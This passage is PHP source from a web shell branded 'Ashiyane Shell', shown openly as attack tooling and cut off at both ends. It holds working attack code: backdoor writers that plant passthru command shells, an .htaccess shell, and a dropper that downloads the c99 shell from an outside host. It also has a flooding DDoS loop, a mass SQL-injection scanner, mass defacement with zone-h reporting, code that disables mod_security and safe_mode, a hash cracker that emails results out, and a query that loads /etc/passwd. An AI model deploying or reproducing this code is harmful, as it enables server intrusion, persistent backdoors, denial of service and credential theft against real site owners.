840$time = strtotime($_POST['ttouch']);
841if($time) {
842if(!touch($_POST['f'],$time,$time))
843echo 'Fail!';
844else
845echo 'Touched!';header("location: ?action=ff&go=touch&dir=$path&file=$f&f=$f2");
846
847}
848 }
849 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="perm" && $_GET['file']!="" ){
850 ?>
851 <a name=\"down\"></a><br><span>Change Modify: </span> <form action="?action=ff&go=chmod&file=<?php echo $_GET['file'];?>&f=<?php echo $_GET['f']; ?>&dir=<?php echo $path ?>" method="post">
852 <input type="hidden" name="f" value="<?php echo $_GET['file'];?>" /><input type="hidden" name="f2" value="<?php echo $_GET['f'];?>" /><input type="text" name="perm" value="<?php echo substr(sprintf('%o', fileperms($_GET['file'])),-4);?>" /><input type="submit" value=">>" />
853 </form>
854 <?php
855 }
856 if(isset($_GET['go']) && isset($_POST['f']) && $_GET['go']=="chmod" && $_POST['f']!="" ){
857 $f=$_POST['f'];
858 $f2=$_POST['f2'];
859
860if(!empty($_POST['perm']) ) {
861$perms = 0;
862for($i=strlen($_POST['perm'])-1;$i>=0;--$i)
863$perms += (int)$_POST['perm'][$i]*pow(8, (strlen($_POST['perm'])-$i-1));
864if(!@chmod($f, $perms))
865echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font>';
866}
867echo '<font color="#FFFFFF"><b>OK !</b></font>';
868header("location: ?action=ff&go=perm&dir=$path&file=$f&f=$f2");
869
870
871 }
872
873
874 if(isset($_GET['go']) && isset($_GET['file']) && $_GET['go']=="edit" && $_GET['file']!="" ){
875 echo "<a name=\"down\"></a>";
876$f=$_GET['file'];
877if( !is_writable($_GET['file'])) {
878echo 'File isn\'t writeable';
879exit;
880}
881if(!empty($_POST['etext']) ) {
882$time = @filemtime($_GET['file']);
883$_POST['text'] = substr($_POST['text'],0);
884$fp = @fopen($_GET['file'],"w");
885if($fp) {
886@fwrite($fp,$_POST['text']);
887@fclose($fp);
888echo 'Saved!';
889@touch($_GET['file'],$time,$time);
890}
891}
892$ff=$_GET['file'];
893$fff=$_GET['f'];
894echo "<br><span>Edit File: </span><form action=\"?action=ff&go=edit&file=$f&dir=$path&file=$ff&f=$fff#down\" method=\"post\"><textarea name=\"text\" style=\"width:800px;height:400px\">";
895$fp = @fopen($_GET['file'], 'r');
896if($fp) {
897while( !@feof($fp) )
898echo htmlspecialchars(@fread($fp, 1024));
899@fclose($fp);
900}
901echo '</textarea><input type=submit value=">>" name="etext"></form>';
902 }
903
904
905?>
906
907</div>
908 <?php
909
910 }
911
912 if($action=="zoneh"){
913 ?><br />
914 <div class="zoneh">
915 <form action="?action=zoneh&submit=send&dir=<?php echo $path ?>" method="post">
916<span>Notifier: </span><input name="defacer" size="67" id="text" value="Ashiyane Digital Security Team" type="text"><br />
917<span>Select Hack Method: </span><select name="hackmode">
918<option value="">--------SELECT--------</option>
919<option value="1" >known vulnerability (i.e. unpatched system)</option>
920<option value="2" >undisclosed (new) vulnerability</option>
921<option value="3" >configuration / admin. mistake</option>
922<option value="4" >brute force attack</option>
923<option value="5" >social engineering</option>
924<option value="6" >Web Server intrusion</option>
925<option value="7" >Web Server external module intrusion</option>
926<option value="8" >Mail Server intrusion</option>
927<option value="9" >FTP Server intrusion</option>
928<option value="10" >SSH Server intrusion</option>
929<option value="11" >Telnet Server intrusion</option>
930<option value="12" >RPC Server intrusion</option>
931<option value="13" >Shares misconfiguration</option>
932<option value="14" >Other Server intrusion</option>
933<option value="15" >SQL Injection</option>
934<option value="16" >URL Poisoning</option>
935<option value="17" >File Inclusion</option>
936<option value="18" >Other Web Application bug</option>
937<option value="19" >Remote administrative panel access through bruteforcing</option>
938<option value="20" >Remote administrative panel access through password guessing</option>
939<option value="21" >Remote administrative panel access through social engineering</option>
940<option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
941<option value="23" >Access credentials through Man In the Middle attack</option>
942<option value="24" >Remote service password guessing</option>
943<option value="25" >Remote service password bruteforce</option>
944<option value="26" >Rerouting after attacking the Firewall</option>
945<option value="27" >Rerouting after attacking the Router</option>
946<option value="28" >DNS attack through social engineering</option>
947<option value="29" >DNS attack through cache poisoning</option>
948<option value="30" >Not available</option>
949<option value="31" >Cross-Site Scripting</option>
950</select>
951<br />
952<span>Select The Reason: </span><select name="reason">
953<option value="">--------SELECT--------</option>
954<option
955value="1" >Heh...just for fun!</option>
956<option value="2" >Revenge against that website</option>
957<option value="3" >Political reasons</option>
958<option value="4" >As a challenge</option>
959<option value="5" >I just want to be the best defacer</option>
960<option value="6" >Patriotism</option>
961<option value="7" >Not available</option>
962</select><br />
963<textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
964<br />
965<input type="submit" value="send" />
966</form>
967
968
969<?php
970
971
972if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
973
974$defacer= $_REQUEST['defacer'];
975$hackmode= $_REQUEST['hackmode'];
976$reason= $_REQUEST['reason'];
977$domains= $_REQUEST['domains'];
978$domains_list=explode("\n",$domains);
979
980if (empty($defacer))
981{
982die ("<center><b><font color =\"#FF0000\">[+] You Must Fill The Notifier Name [+]</font></b></center>");
983}
984elseif($hackmode == "")
985{
986die("<center><b><font color =\"#FF0000\">[+] You Must Select The Method [+]</b></font></center>");
987}
988elseif($reason == "")
989{
990die("<center><b><font color =\"#FF0000\">[+] You Must Select The Reason [+]</b></font></center>");
991}
992elseif(empty($domains))
993{
994die("<center><b><font color =\"#FF0000\">[+] You Must Enter The Sites List [+]<font></b></center>");
995}
996
997
998 for($i=0;$i<count($domains_list);$i++) {
999
1000 if(substr($domains_list[$i], 0, 4) != "http")
1001 {
1002 $domains_list[$i] = "http://".$domains_list[$i];
1003 }
1004 $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
1005
1006 $curl = curl_init();
1007 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1008 curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
1009 curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
1010 curl_setopt($curl,CURLOPT_TIMEOUT, 120);
1011 curl_setopt($curl,CURLOPT_POST,TRUE);
1012 curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
1013 $a = curl_exec($curl);
1014 curl_close($curl);
1015}
1016 echo "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color =\"#00A220\"><b>[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]</b><font></center>";
1017
1018}
1019
1020
1021
1022?>
1023</div>
1024
1025 <?php
1026 }
1027 if($action=="ddoser"){
1028 ?>
1029 <br />
1030 <div class="ddos">
1031<form action="?action=ddoser&submit=ddos&dir=<?php echo $path ?>" method="post">
1032<input type="text" name="ip" value="ip_adress:port" />
1033<input type="submit" name="ddos"/>
1034</form>
1035<?php
1036
1037
1038set_time_limit(0);
1039
1040ignore_user_abort(FALSE);
1041
1042if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="ddos") {
1043if(isset($_REQUEST['ip']) && $_REQUEST['ip'] != "ip_adress:port" && $_REQUEST['ip'] != ""){
1044$ip=explode(":",$_POST['ip']);
1045
1046for($i=0;$i<65535;$i++){
1047 $out .= "X";
1048}
1049
1050while(1){
1051
1052
1053 $fp = fsockopen($ip[0], $ip[1], $errno, $errstr, 5);
1054
1055 if($fp){
1056
1057 fwrite($fp, $out);
1058 fclose($fp);
1059 }
1060 }
1061
1062} else{
1063 echo "<font color=\"#FF0000\">Please Enter Ip!</font>";
1064}
1065}
1066
1067
1068 ?>
1069 </div>
1070
1071 <?php
1072 }
1073
1074 if($action=="sqli"){
1075 ?>
1076
1077 <br />
1078 <div class="sqli">
1079 <span>Sites:</span><br />
1080
1081<form action="?action=sqli&submit=check&dir=<?php echo $path ?>" method="post">
1082<textarea name="link" cols=40 rows=10></textarea>
1083<input type="submit" value="check" name="submit"/>
1084</form>
1085
1086
1087<?php
1088
1089if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="check") {
1090
1091 if(isset($_REQUEST['link']) && $_REQUEST['link'] != ""){
1092 echo 'List Sites Have SQLi Vulnerability: <br>';
1093
1094 $link= $_REQUEST['link'];
1095$link_list=explode("\n",$link);
1096
1097for($i=0;$i<count($link_list);$i++) {
1098
1099if(substr($link_list[$i], 0, 4) != "http")
1100 {
1101 $link_list[$i] = "http://".$link_list[$i];
1102 }
1103
1104$a=file_get_contents($link_list[$i].'\"');
1105
1106
1107if(preg_match("/You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near/i",$a)) {
1108
1109
1110echo $link_list[$i]."</br>";
1111
1112}
1113
1114}
1115 } else{
1116 echo "<font color=\"#FF0000\">Please Enter Sites !</font>";
1117 }
1118
1119}
1120
1121?>
1122</div>
1123
1124 <?php
1125 }
1126 if($action=="backdoor"){
1127 ?>
1128
1129
1130
1131
1132<br />
1133<div class="body">
1134
1135<?php
1136
1137$list = '<ul>';
1138
1139if ( !isset($_GET["bd"]) || $_GET["bd"]!=="up" )
1140{
1141 $list .= "<a href=\"?action=backdoor&bd=up&dir=$path\"><li>Upload From Computer Backdoors</li></a>";
1142} else {
1143 $list .= '<li><span>Upload From Computer Backdoors</span></li>';
1144}
1145
1146if( !isset($_GET["bd"]) || $_GET["bd"]!=="ur" )
1147{
1148 $list .= "<a href=\"?action=backdoor&bd=ur&dir=$path\"><li>Upload From URL Backdoors</li></a>";
1149} else {
1150 $list .= '<li><span>Upload From URL Backdoors</span></li>';
1151}
1152
1153if( !isset($_GET["bd"]) || $_GET["bd"]!=="ht" )
1154{
1155 $list .= "<a href=\"?action=backdoor&bd=ht&dir=$path\"><li>htaccess Hidden Shell Backdoor</li></a>";
1156} else {
1157 $list .= '<li><span>htaccess Hidden Shell Backdoor</span></li>';
1158}
1159
1160if ( !isset($_GET["bd"]) || $_GET["bd"]!=="cs" )
1161{
1162 $list .= "<a href=\"?action=backdoor&bd=cs&dir=$path\"><li>CMD shell Backdoor</li></a>";
1163} else {
1164 $list .= '<li><span>CMD shell Backdoor</span></li>';
1165}
1166
1167echo $list.'</ul>';
1168
1169?>
1170
1171<hr />
1172<br />
1173<?php
1174
1175if(isset($_GET["bd"])){
1176
1177 $bd = $_GET["bd"];
1178
1179 if($bd=="up"){
1180
1181 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=up&dir=$path\"><span>Enter Filename create backdoor: </span><br /><input type=\"text\" name=\"filename\"><br><br /><input type=\"submit\" value=\"Get Backdoor\"></form>";
1182 ?>
1183<br />
1184<b><span>Note: This Just Make an uploader not hidden.</span></b>
1185<?php
1186 }
1187
1188 if($bd=="ur"){
1189
1190 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=ur&dir=$path\"><span>Enter Filename to add backdoor: </span><br /><input type=\"text\" name=\"filename\"><br><br /><input type=\"submit\" value=\"Get Backdoor\"></form>";
1191 ?>
1192<br />
1193<b><span>How to use ?</span></b>
1194<p>to use : "site.com/[path]/[file].php?cmd=shell"</p>
1195<?php
1196
1197 }
1198 if($bd=="cs"){
1199
1200 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=cs&dir=$path\"><span>Enter Filename to add backdoor: </span><br /><input type=\"text\" name=\"filename\"><br><br /><input type=\"submit\" value=\"Get Backdoor\"></form>";
1201 ?>
1202<br />
1203<b><span>How to use ?</span></b>
1204<p>to use : "site.com/[path]/[file].php?cmd=[command]"</p>
1205<?php
1206 }
1207
1208
1209
1210 if($bd=="ht"){
1211
1212
1213 echo "<form method=\"post\" action=\"?action=backdoor&submit=get&go=ht&dir=$path\"><br /><input type=\"submit\" value=\"Get htaccess Backdoor\"></form>";
1214
1215 ?>
1216<br />
1217<b><span>How to use ?</span></b>
1218<p>to use : "site.com/[path]/.htaccess?cmd=[command]"</p>
1219<?php
1220
1221 }
1222
1223
1224
1225
1226}
1227
1228if(isset($_GET["action"]) && $_GET["action"]=="backdoor" && isset($_GET["submit"])=="get" && isset($_GET["go"]) && $_GET["go"]!=""){
1229
1230 $action=$_GET["go"];
1231
1232
1233 if($action=="up"){
1234
1235 $code='<?php
1236if (isset($_FILES["userfile"])) {
1237$dir=$_POST["dir"];
1238if($dir == "" || !isset($dir)) $dir=getcwd();
1239
1240
1241$uploadfile=$dir."/".basename($_FILES["userfile"]["name"]);
1242
1243if (move_uploaded_file($_FILES["userfile"]["tmp_name"],$uploadfile)) {
1244echo "Uploaded: ".
1245"Name: ".$_FILES["userfile"]["name"]."<br>\n".
1246"Type: ".$_FILES["userfile"]["type"]."<br>\n".
1247"Size: ".$_FILES["userfile"]["size"]." bytes<br>\n";
1248}
1249else print "Error uploading file: ".$_FILES["userfile"]["name"]."";
1250echo "<hr>";
1251}
1252?>
1253
1254<form enctype="multipart/form-data" method="POST">
1255Upload New File
1256<br /><input type="file" name="userfile"/>
1257<br /><input type="submit" value="Upload"/>
1258</form>';
1259 $filename = htmlspecialchars($_POST["filename"]);
1260
1261 $fp=fopen($filename,'a');
1262 $res = fwrite($fp , $code);
1263 fclose($fp);
1264
1265 if($res){
1266
1267 echo "<span style='color:green'>ok</span>";
1268 }else{
1269 echo "<span style='color:red'>cant be write</span>";
1270 }
1271 }
1272
1273 if($action=="ur"){
1274
1275 $code = '<?php
1276//Code By Mahdi.Hidden ~ Ashiyane Digital Security Team
1277if(isset($_GET["cmd"]) && $_GET["cmd"]=="shell"){
1278if(file_put_contents("shell.php", file_get_contents("http://www.sh3ll.org/c99.txt"))){
1279echo "OK";
1280} else {
1281echo "File Cant Be Create";
1282}
1283}
1284//Code By Mahdi.Hidden ~ Ashiyane Digital Security Team
1285?>';
1286 $filename = htmlspecialchars($_POST["filename"]);
1287
1288
1289 $fp=fopen($filename,'a');
1290 $res = fwrite($fp , $code);
1291 fclose($fp);
1292
1293 if($res){
1294
1295 echo "<span style='color:green'>ok</span>";
1296 }else{
1297 echo "<span style='color:red'>cant be write</span>";
1298 }
1299 }
1300
1301 if($action=="ht"){
1302
1303 $code = '<Files ~ "^\.ht">
1304Order allow,deny
1305Allow from all
1306</Files>
1307AddType application/x-httpd-php .htaccess
1308# <?php passthru($_GET["cmd"]); ?>';
1309
1310 $filename = ".htaccess";
1311 $fp=fopen($filename,'a');
1312 $res = fwrite($fp , $code);
1313 fclose($fp);
1314
1315 if($res){
1316
1317 echo "<span style='color:green'>ok</span>";
1318 }else{
1319 echo "<span style='color:red'>cant be write</span>";
1320 }
1321
1322
1323
1324
1325 }
1326 if($action=="cs"){
1327
1328 $code = '<?php passthru($_GET["cmd"]); ?>';
1329
1330 $filename = htmlspecialchars($_POST["filename"]);
1331 $fp=fopen($filename,'a');
1332 $res = fwrite($fp , $code);
1333 fclose($fp);
1334
1335 if($res){
1336
1337 echo "<span style='color:green'>ok</span>";
1338 }else{
1339 echo "<span style='color:red'>cant be write</span>";
1340 }
1341
1342 }
1343
1344}
1345
1346
1347
1348
1349
1350?>
1351</div>
1352
1353 <?php
1354 }
1355
1356 if($action=="mass"){
1357 ?>
1358
1359<br />
1360
1361Mass Defacement:</td><br>
1362<form action='?action=mass&submit=mass&dir=<?php echo $path ?>' method='post'>
1363[+] Directory: <input type='text' style='width: 700px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
1364<br/>[+] Url Deface Deface Page <input type='text' style='width: 675px' name='massdefaceurl' value=''>
1365<br/>[+] Name File <input type='text' style='width: 735px' name='filename' value='mahdi.hidden.html'>
1366<input type='submit' name='execmassdeface' value='Kill It'></form></td>
1367
1368 <?php
1369
1370if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="mass"){
1371echo "<br><span style='margin-left:0px'>Results: </span><br><center><textarea placeholder='Results will be here..' rows='15' cols='100'>";
1372$defaceurl = $_POST['massdefaceurl'];
1373$dir = $_POST['massdefacedir'];
1374$filename = $_POST['filename'];
1375echo $dir."\n";
1376if (is_dir($dir)) {
1377if ($dh = opendir($dir)) {
1378while (($file = readdir($dh)) !== false) {
1379if(filetype($dir.$file)=="dir"){
1380$newfile=$dir.$file."/".$filename;
1381echo $newfile."\n";
1382if (!copy($defaceurl, $newfile)) {
1383echo "failed to copy $file...\n";
1384}
1385}
1386}
1387closedir($dh);
1388}
1389}
1390echo "</textarea></center>";
1391}
1392?>
1393
1394 <?php
1395 }
1396
1397
1398 if($action=="disfunc"){
1399 ?>
1400 <br />
1401 <center>
1402 <table>
1403 <tr><td>
1404 <form action="?action=disfunc&submit=bypass&bypass=apache&dir=<?php echo $path ?>" method="post">
1405 <input type="submit" value="htaccess apache" />
1406 </form>
1407
1408 </td><td>
1409
1410 <form action="?action=disfunc&submit=bypass&bypass=litespeed&dir=<?php echo $path ?>" method="post">
1411 <input type="submit" value="htaccess litespeed" />
1412 </form>
1413 </td><td>
1414 <form action="?action=disfunc&submit=bypass&bypass=phpini&dir=<?php echo $path ?>" method="post">
1415 <input type="submit" value="php.ini" />
1416 </form>
1417 </td></tr>
1418 </table>
1419 </center>
1420 <?php
1421
1422 if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="bypass"){
1423
1424 $bypass = $_REQUEST['bypass'];
1425
1426 if($bypass=="apache"){
1427 ?>
1428
1429 <?php
1430 $fil=fopen($path."/".".htaccess","w");
1431fwrite($fil,'#Generated By Mahdi.Hidden
1432<IfModule mod_security.c>
1433Sec------Engine Off
1434Sec------ScanPOST Off
1435</IfModule>');
1436fclose($fil);
1437echo '<script>alert("htaccess for Apache is created...!")</script>';
1438
1439?>
1440 <?php
1441 } elseif($bypass=="phpini"){
1442 ?>
1443 <?php
1444 $fil=fopen($path."/"."php.ini","w");
1445fwrite($fil,'safe_mode=OFF
1446disable_functions=ByPass By Mahdi.Hidden');
1447fclose($fil);
1448$file2=fopen($path."/"."ini.php","w");
1449fwrite($file2,'<?
1450echo ini_get("safe_mode");
1451echo ini_get("open_basedir");
1452include($_GET["file"]);
1453ini_restore("safe_mode");
1454ini_restore("open_basedir");
1455echo ini_get("safe_mode");
1456echo ini_get("open_basedir");
1457include($_GET["ss"]);
1458?>');
1459fclose($file2);
1460echo '<script>alert("php.ini && ini.php is created...!")</script>';
1461?>
1462
1463 }<?php
1464
1465 } elseif($bypass=="litespeed"){
1466 ?>
1467 <?php
1468 $fil=fopen($path."/".".htaccess","w");
1469fwrite($fil,'#Generated By Mahdi.Hidden
1470<Files *.php>
1471ForceType application/x-httpd-php4
1472</Files>
1473ahm tas: <IfModule mod_security.c>
1474SecFilterEngine Off
1475SecFilterScanPOST Off
1476</IfModule>');
1477fclose($fil);
1478echo '<script>alert("htaccess for Litespeed is created...!")</script>';
1479?>
1480 <?php
1481
1482 }
1483 }
1484
1485 ?>
1486
1487 <?php
1488 }
1489
1490 if($action=="info"){
1491 ?>
1492
1493 <br />
1494 <?php
1495 echo '<div class=phpinfo><style>.p {color:#000;}</style>';
1496ob_start();
1497phpinfo();
1498$tmp = ob_get_clean();
1499$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2, hr) {.*}!msiU','',$tmp);
1500$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1501echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1502 ?>
1503
1504 <?php
1505 }
1506 if($action=="aboutus"){
1507 ?>
1508 <br />
1509 <img src="http://ashiyane.org/aboutus/images/logo2.png" /><br />
1510 <span style="color:#F00;font-size:20px">ASHIYANE SHELL V 2.5.5</span><br />
1511 <span style="font-size:19px">Shell Coded By <a target="_blank" href="http://ashiyane.org/forums/member.php?1281761">Mahdi.Hidden</a></span><br />
1512 <span>Special Thanks To: Virangar, C4T, Mast3r 0mid, Black-Hole, Milad Hacking, eb051, SaiedSoft, Predator, Hossein)root, Alireza Attacker, Reza, Pr0grammer, Mr.reCoder, SolD!3r, h0j@T, Nc 521, Spoofer, HAMIDx9 AND My Friends & All Ashiyane Members</span><br />
1513 <span>WebSite: <a href="http://ashiyane.org" target="_blank">Ashiyane.org</a><br />
1514 <span>Ashiyane Digital Security Team</span><br />
1515 <?php
1516 }
1517 if($action=="rmshell"){
1518 ?>
1519
1520 <form action="?action=rmshell" method="post">
1521 <span>Do You Really Want To Remove Shell?</span><br />
1522 <input type="submit" value="Yes" name="accept" />
1523 </form>
1524
1525 <?php
1526 if(isset($_POST['accept']) && $_POST['accept'] != "" && $_POST['accept']=="Yes"){
1527
1528if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1529die('<b>Shell has been removed</i> :)</b>');
1530else
1531echo 'unlink error!';
1532
1533
1534 }
1535
1536
1537 }
1538 //hash cracker ~ By Black-Hole
1539 if($action=="hashcracker"){
1540error_reporting(0);
1541 echo '<br>';
1542
1543 if(isset($_POST['hashs']))
1544 $hashs = $_POST['hashs'];
1545
1546 if(isset($_POST['algo']))
1547 $algo = $_POST['algo'];
1548
1549 if(isset($_POST['email']))
1550 $email = $_POST['email'];
1551
1552 if(isset($_POST['passlist']))
1553 $passlist = $_POST['passlist'];
1554
1555 if(isset($_POST['atype']))
1556 $atype = $_POST['atype'];
1557
1558 if(isset($_POST['chars']))
1559 $chars = $_POST['chars'];
1560
1561 if(isset($_POST['maxhash']))
1562 $maxhash = $_POST['maxhash'];
1563
1564 ?>
1565 <CENTER>
1566 <div class="hashcracker">
1567<form action="" method="post">
1568<table>
1569<font color="white"><Input type = 'Radio' Name ='atype' value= 'dic' >Dictionary Attack </font>
1570<font color="white"><Input type = 'Radio' Name ='atype' value= 'bru' >Brute-Force Attack</font><br>
1571
1572<tr><td><font color="white"> Hash : </font></td><td><input type="text" name="hashs" value="" /></td></tr>
1573<tr><td><font color="white"><a href="http://php.net/manual/en/ref.hash.php"> Algorithm : <a/></font></td><td><input type="text" name="algo" value="" /></td></tr>
1574<tr><td><font color="white"><a href="http://ashiyane.org/forums/showthread.php?t=72306">Word List .txt :</a></font></td><td><input type="text" name="passlist" value="" /></td></tr>
1575
1576<tr><td><font color="white">Characters: </font></td><td><input type="text" name="chars" value="" /></td></tr>
1577<tr><td><font color="white"><input type="checkbox" name="charrr[]" value="l" />Lower Case: abcd...   </td>
1578<td><input type="checkbox" name="charrr[]" value="u" />Upper Case: ABCD...   </td>
1579<td><input type="checkbox" name="charrr[]" value="n" />Numbers: 1234567890   </td>
1580<td><input type="checkbox" name="charrr[]" value="s" />Symbols: ~`!@#$%^&*()-_/'";:,.+=<>?    </td>
1581</font>
1582<tr><td><font color="white">Max lenght: <input type="text" name="maxhash" value="" /></font></td></tr>
1583
1584<tr><td><font color="white">E-Mail : </font><input type="text" name="email" value="" /></td></tr>
1585<tr><td><input type="submit" value="Crack !"/></td></tr>
1586</form>
1587
1588<tr><td><font color="white"><a href="http://ashiyane.org/forums/showthread.php?p=329241">Need help? Use Ashiyane Hash Analyzer</a></font></td></tr>
1589</div>
1590<font color="white">
1591
1592 <?php
1593 if(isset($atype))
1594if($atype=="dic")
1595{
1596$words = file($passlist);
1597 $solve = "";
1598
1599 foreach($words as $word)
1600 if(hash($algo,(trim($word))) == $hashs)
1601 {
1602 $solve = $word;
1603 break;
1604 }
1605
1606
1607
1608
1609 echo "Password Found:".$solve;
1610 mail ($email,"Result of HASH CRACKING !","\r\nCrack :".$solve."Powerd by Ashiyane Sheller \r\n Ashiyane Digital Securit Team");
1611}
1612else
1613{
1614function IsChecked($chkname,$value)
1615 {
1616 if(!empty($_POST[$chkname]))
1617 foreach($_POST[$chkname] as $chkval)
1618 if($chkval == $value)
1619 return true;
1620 return false;
1621 }
1622
1623
1624$maxhash = $_POST['maxhash'];
1625$chars = $_POST['chars'];
1626
1627define('HASH', $hashs);
1628define('HASH_ALGO',$algo);
1629
1630// max length of password to try
1631define('PASSWORD_MAX_LENGTH', $maxhash);
1632
1633$charset = $chars;
1634
1635if(IsChecked('charrr','l'))
1636$charset = 'abcdefghijklmnopqrstuvwxyz';
1637
1638if(IsChecked('charrr','n'))
1639$charset .= '0123456789';
1640
1641if(IsChecked('charrr','u'))
1642$charset .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
1643
1644if(IsChecked('charrr','s'))
1645$charset .= '~`!@#$%^&*()-_\/\'";:,.+=<>? ';
1646
1647
1648$charset_length = strlen($charset);
1649
1650function check($password)
1651{
1652 if (hash(HASH_ALGO, $password) == HASH) {
1653 echo ' Password : '.$password."\r\n";
1654mail ($email,"Result of HASH CRACKING !","\nCrack :".$password."\n Cod3d by Black-Hole \n Contact me : Gigelaknak@yahoo.com \n Ashiyane Digital Securit Team");
1655 exit;
1656 }
1657}
1658
1659
1660function recurse($width, $position, $base_string)
1661{
1662 global $charset, $charset_length;
1663
1664 for ($i = 0; $i < $charset_length; ++$i) {
1665 if ($position < $width - 1) {
1666 recurse($width, $position + 1, $base_string . $charset[$i]);
1667 }
1668 check($base_string . $charset[$i]);
1669 }
1670}
1671
1672recurse(PASSWORD_MAX_LENGTH, 0, '');
1673 if(isset($hashs))
1674echo "Password not found ...\r\n";
1675}
1676
1677
1678?>
1679</font></CENTER>
1680 <?php
1681 }
1682 //end-hash cracker
1683
1684 //sql connector ~ by Mast3r 0mid
1685 if($action=="sql"){
1686
1687$pwd = realpath(".")."\\";
1688if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
1689 {
1690 $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
1691 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
1692 {
1693 $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
1694 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
1695 $msg .= " <span class=\"gaya\">-></span> <a href=\"?action=sql&y=".$pwd."&x=mysql&
1696 sqlhost=".$sqlhost."&sqluser=".$sqluser."&
1697 sqlpass=".$sqlpass."&
1698 sqlport=".$sqlport."&\">[ databases ]</a>";
1699 if(isset($_GET['db']))
1700 $msg .= " <span class=\"gaya\">-></span>
1701 <a href=\"?action=sql&y=".$pwd."&x=mysql&
1702 sqlhost=".$sqlhost."&sqluser=".$sqluser."&
1703 sqlpass=".$sqlpass."&
1704 sqlport=".$sqlport."&
1705 db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
1706 if(isset($_GET['table']))
1707 $msg .= " <span class=\"gaya\">->
1708 </span>
1709 <a href=\"?action=sql&y=".$pwd."&x=mysql&
1710 sqlhost=".$sqlhost."&sqluser=".$sqluser."&
1711 sqlpass=".$sqlpass."&sqlport=".$sqlport."&
1712 db=".$_GET['db']."&
1713 table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
1714 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
1715 $msg .= "</div>";
1716 echo $msg;
1717 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
1718 {
1719 $db = $_GET['db'];
1720 $query = "DROP TABLE IF EXISTS Newbie3viLc063s0_table;
1721 \nCREATE TABLE `Ashiyane Digital Security Team` ( `file` LONGBLOB NOT NULL );
1722 \nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Mast3r_table;SELECT * FROM Ashiyane_table;
1723 \nDROP TABLE IF EXISTS Ashiyane_table;";
1724 $msg = "<div style=\"width:99%;padding:0 10px;\">
1725 <form action=\"?\" method=\"get\">
1726 <input type=\"hidden\" name=\"action\" value=\"sql\" />
1727 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1728 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1729 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1730 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1731 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1732 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1733 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1734 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
1735 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1736 </form>
1737 </div> ";
1738 $tables = array();
1739 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
1740 $hasil = @mysql_list_tables($db,$con);
1741 while(list($table) = @mysql_fetch_row($hasil))
1742 { @array_push($tables,$table); }
1743 @sort($tables);
1744 foreach($tables as $table)
1745 {
1746 $msg .= "<tr><td><a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
1747 }
1748 $msg .= "</table>";
1749 }
1750 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
1751 {
1752 $db = $_GET['db'];
1753 $table = $_GET['table'];
1754 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
1755 $msgq = "<div style=\"width:99%;padding:0 10px;\">
1756 <form action=\"?\" method=\"get\">
1757 <input type=\"hidden\" name=\"action\" value=\"sql\" />
1758 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1759 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1760 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1761 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1762 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
